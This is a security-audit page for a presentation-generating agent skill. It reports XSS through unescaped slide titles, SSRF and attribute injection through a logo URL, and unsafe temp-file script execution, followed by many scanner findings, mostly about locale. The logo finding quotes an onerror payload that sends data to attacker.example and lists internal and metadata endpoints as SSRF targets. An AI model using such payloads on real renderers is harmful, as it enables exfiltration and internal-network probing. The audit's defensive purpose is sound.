Back to skill

Security audit

Yuanfang HTML PPT

Security checks for vulnerabilities and agentic risk

Overview

This presentation-generation skill is mostly purpose-aligned, but its renderer can execute untrusted slide content inside Chromium and make unintended network requests.

Install only if you trust the slide YAML/JSON and any URLs used as input. Avoid rendering decks from untrusted web content until the renderer escapes all text fields, validates or embeds images safely, blocks browser network requests during conversion, and replaces the temporary Python script flow with a safer implementation.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/render-html-pptx.js:54
Finding

Untrusted Slide Content Is Inserted into Executable HTML Without Escaping

Content
View full analysis
${slide.kicker ? `

${escHtml(slide.kicker)}

` : ''}

${slide.title || ''}

${slide.subtitle ? `

${escHtml(slide.subtitle)}

` : ''} `; } ``` Other affected code includes: ```javascript

${slide.title || 'Contents'}

``` ```javascript

${slide.title || ''}

``` ```javascript
${slide.quote || ''}
``` ```javascript

${slide.title || 'Comparison'}

``` The generated document is subsequently opened as an active HTML document in headless Chromium: ```javascript await page.goto(`file://${path.resolve(htmlPath)}`, { waitUntil: 'networkidle' }); ``` ### Technical Analysis The renderer uses `escHtml()` for many fields but omits it for several `title` and `quote` interpolations. These fields originate from the supplied JSON or YAML content and are inserted directly into an HTML template. Because the generated HTML is loaded into Chromium with JavaScript enabled and without a restrictive Content Security Policy, injected elements and event handlers can execute. For example, an attacker-controlled title could contain: ```html
Remediation
View remediation
${escHtml(slide.title || '')} ``` ```javascript
${escHtml(slide.quote || '')}
``` 3. If selected fields intentionally support formatting, process them with a proven allowlist-based HTML sanitizer. Permit only necessary formatting elements such as `strong`, `em`, and `span` with tightly restricted classes. Remove: - Script elements. - Event-handler attributes. - Frames and embedded objects. - URL-bearing attributes unless explicitly required. - Inline styles unless sanitized. 4. Define a clear schema distinguishing plain-text fields from sanitized rich-text fields. 5. Add a restrictive Content Security Policy to the generated HTML, for example disabling scripts, plugins, frames, and unexpected connections. 6. Disable JavaScript in the Playwright browser context if the conversion library permits it. If JavaScript is required for conversion, keep application scripts fixed and block inline event handlers through CSP. 7. Intercept Playwright requests and deny all network access unless an explicitly approved resource is required. 8. Add regression tests using payloads in every slide field and verify that they appear as inert text and do not create executable DOM nodes. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/render-html-pptx.js:37
Finding

Unvalidated Logo Source Enables HTML Attribute Injection and Server-Side Request Forgery

Content
View full analysis
${tags.map(t => `${escHtml(t)}`).join('')}` : ''; return `
${escHtml(slide.brand || 'Keynote')} · 2026 ${slide.logo ? `` : `html-ppt × dom-to-pptx`}
``` The generated resource is loaded by Chromium: ```javascript await page.goto(`file://${path.resolve(htmlPath)}`, { waitUntil: 'networkidle' }); ``` ### Technical Analysis The `slide.logo` value is inserted directly into a double-quoted `src` attribute. It is not HTML-attribute escaped and is not validated against an allowlist of permitted image formats or URI schemes. This creates two related attack surfaces. First, a value containing a quote can terminate the `src` attribute and add executable attributes: ```text x" onerror="fetch('https://attacker.example/collect') ``` This produces an element equivalent to: ```html ``` Second, even without attribute injection, an attacker can supply an arbitrary resource URL. Chromium will attempt to load that URL while rendering. Possible targets include: - Loopback services such as `http://127.0.0.1/...`. - Private network services. - Link-local cloud metadata endpoints. - Attacker-controlled tracking or exfiltration endpoints. - Local resources through unsupported or dangerous URI schemes, depending o ...[truncated 1764 chars]
Remediation
View remediation
{ const url = new URL(route.request().url()); if (url.protocol === 'file:' || isExplicitlyAllowedAsset(url)) { return route.continue(); } return route.abort(); }); ``` 8. Add tests for quotation marks, event-handler injection, loopback URLs, private addresses, metadata addresses, redirects, and unsupported URI schemes. ]]>

T09 · Insecure Skill Coding Practices

Note
Location
scripts/render-html-pptx.js:531
Finding

Predictable Temporary Directory Is Used to Store and Execute a Python Script

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (64)

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The trigger terms are very broad (e.g. PPT, 幻灯片, 报告, 提案) and overlap with many ordinary conversations, so the skill may activate in contexts where the user did not intend to generate or transform presentation content. That increases the chance of unnecessary file creation, content rewriting, or downstream network/file actions being initiated under the wrong skill, especially because this skill later fetches URLs and edits YAML files.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill instructs the agent to fetch and analyze arbitrary URLs to extract branding assets, but does not require an explicit user-facing notice or consent at the moment of access. This can surprise users, leak browsing targets or internal URLs to external requests, and increase SSRF/privacy risk if the supplied URL points to sensitive internal resources or user-did-not-expect network locations.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The module doc comment frames the file as a PoC that converts content into HTML and then PPTX via dom-to-pptx. In reality, later code supports multiple output formats (png, pdf, pptx) and invokes python3 through child_process.execSync to post-process the PPTX, which goes beyond and partially contradicts the stated implementation path.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The HTML output always sets lang="zh-CN", which forces a specific locale regardless of the user's content or preferences. The file does not offer an opt-in, configuration switch, or documented regional justification for this locale constraint.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The script invokes Python via child_process.execSync to post-process the generated PPTX and also creates, reads, and deletes temporary files as part of that flow. While this behavior is commented for developers, there is no user-facing confirmation or warning near the CLI path that exporting a deck will execute a subprocess and modify the output file contents.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

This code file contains natural-language interface text that forces a specific language/locale for all users. The policy requires flagging language or locale constraints when the skill does not offer a user choice or clearly justify the restriction.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

This JSON content is overwhelmingly authored in Chinese, including brand, titles, subtitles, section labels, and slide text, with no indication that the user can choose another language or that the skill is intentionally region-specific. Under the policy rule for natural-language violations, forcing a specific language without opt-in is a reportable locale-policy issue.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

This YAML fixture is written as a demo content template entirely in Chinese and the comments explicitly describe intended real-world use, which can amount to a language/locale constraint embedded in the skill content. There is no indication that users may choose another language or that the Chinese-only content is required for a documented region-specific purpose.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

This manifest-like JSON contains user-facing text entirely in Chinese (for example the title and metric labels) with no indication that the skill is region-specific or that users can opt into this locale. That can violate the language/locale policy because it forces a specific language in content presented by the skill.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

This YAML fixture uses Chinese throughout titles, comments, labels, and sample slide content, with no indication that the skill is region-specific or that users may opt into another language. Under the policy, a skill that forces a specific language without user choice or justification is a natural-language policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The user-facing content fields are written entirely in Chinese, which indicates a fixed language/locale choice embedded in the skill content. There is no accompanying indication that the user can choose the language or that the file is intentionally limited to a Chinese-specific context.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The JSON content hard-codes user-facing text in Chinese ("下一步" and the timeline points) with no indication that the skill is region-specific or that users can opt into this locale. This can violate language/locale policy when a skill is expected to be language-neutral or user-selectable.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The test requires the thrown error to match the Chinese string /缺少 brand 字段/, which hard-codes a specific language expectation. This can enforce a locale policy on the skill behavior without offering user choice or documenting a justified region-specific constraint.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The regex /主题 'minimalist' 不存在/ requires a Chinese-language error message, creating a forced locale expectation in the skill behavior. Under the policy, language-specific behavior should be opt-in or clearly documented and justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

SQP-3 applies to all file types, including code string literals. The tests require Chinese-only messages such as '缺少 brand 字段' and elsewhere '主题 ... 不存在' and '用法', which enforces a specific locale rather than allowing user opt-in or documenting why Chinese is required.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The test hard-codes Chinese output as the required behavior for theme-validation errors. That creates a locale policy issue because users are not offered a language choice and the file does not document a justified region-specific constraint.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The assertion requires '--help' output to contain the Chinese term '用法'. This indicates the skill's CLI is expected to present a fixed language rather than supporting user choice or documenting a justified locale restriction.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The HTML root sets lang="zh-CN", which hard-codes a specific language/locale for the skill output. Under the policy, locale constraints should either be optional for users or clearly documented as justified for a region-specific tool, which is not evident in this file.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The HTML root sets lang="zh-CN", and the visible content throughout the file is Chinese, which establishes a fixed language/locale for the experience. Under the policy, forcing a specific language without opt-in or a documented justification is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The HTML root sets lang="zh-CN", and the content is written entirely in Chinese, which signals a fixed language/locale choice. Under the policy, locale constraints should either be user-selectable or clearly documented as justified for a region-specific use case, which is not present here.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The root HTML element explicitly sets lang="zh-CN", and the visible presentation content is written in Chinese throughout the file. This creates a fixed language/locale experience with no indication of user opt-in, language selection, or documented region-specific requirement, which matches the natural-language locale policy concern.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · tests/visual-baselines/generate-baselines.sh (reported line 72)May include surrounding context.

sh
echo "Install it first, then re-run with --convert"
    echo ""
    echo "  # Ubuntu/Debian:"
    echo "  sudo apt install libreoffice"
    echo ""
    echo "  # macOS:"
    echo "  brew install --cask libreoffice"

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The root HTML element sets lang="zh-CN", and the visible slide content is written entirely in Chinese, which indicates a fixed language/locale choice. Under the policy, forcing a specific language without user opt-in or a documented region-specific justification is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The HTML root sets lang="zh-CN", and the visible content throughout the deck is written in Chinese, which imposes a specific language/locale. The file does not provide any user opt-in, alternate locale handling, or documentation that this is a region-specific artifact, so it matches the language/locale policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The document sets lang="zh-CN", which fixes the content locale to Simplified Chinese. Under the policy, forcing a specific language or locale without offering user choice or documenting a justified regional constraint is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Static analysis

Detected: suspicious.dangerous_exec

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/render-html-pptx.js:553